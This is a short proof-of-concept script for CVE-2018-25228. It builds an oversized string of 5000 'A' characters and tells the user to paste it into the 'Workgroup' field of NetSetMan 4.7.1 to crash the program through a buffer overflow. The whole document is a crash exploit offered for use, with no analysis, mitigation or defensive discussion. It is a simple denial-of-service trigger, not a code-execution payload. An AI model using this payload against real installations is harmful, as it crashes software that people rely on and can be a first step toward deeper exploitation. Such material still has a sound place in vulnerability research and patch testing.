CVE-2018-25228

# Proof of Concept for CVE-2018-25228 # This script generates a malicious payload to trigger the buffer overflow # in the 'Workgroup' field of NetSetMan 4.7.1. import sys # NetSetMan Workgroup field buffer overflow trigger # Sending a large string (e.g., 5000 bytes) causes the crash buffer_size = 5000 payload = "A" * buffer_size print(f"[*] Generating payload of size: {len(payload)}") print("[*] Copy the following string and paste it into the 'Workgroup' field:") print(payload) print("[*] Application should crash upon pasting or loading.")
